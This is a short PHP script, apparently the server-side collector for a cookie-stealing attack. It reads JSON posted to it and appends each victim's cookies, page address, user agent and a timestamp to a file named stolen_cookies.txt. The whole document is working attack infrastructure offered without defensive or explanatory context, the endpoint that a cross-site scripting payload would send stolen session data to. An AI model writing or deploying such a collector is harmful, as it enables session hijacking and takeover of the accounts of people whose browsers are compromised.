<?php
$data = json_decode(file_get_contents('php://input'), true);
file_put_contents('stolen_cookies.txt', 
    "Time: " . date('Y-m-d H:i:s') . "\n" .
    "Cookies: " . $data['cookies'] . "\n" .
    "Page: " . $data['page'] . "\n" .
    "User-Agent: " . $data['userAgent'] . "\n\n",
    FILE_APPEND
);
?>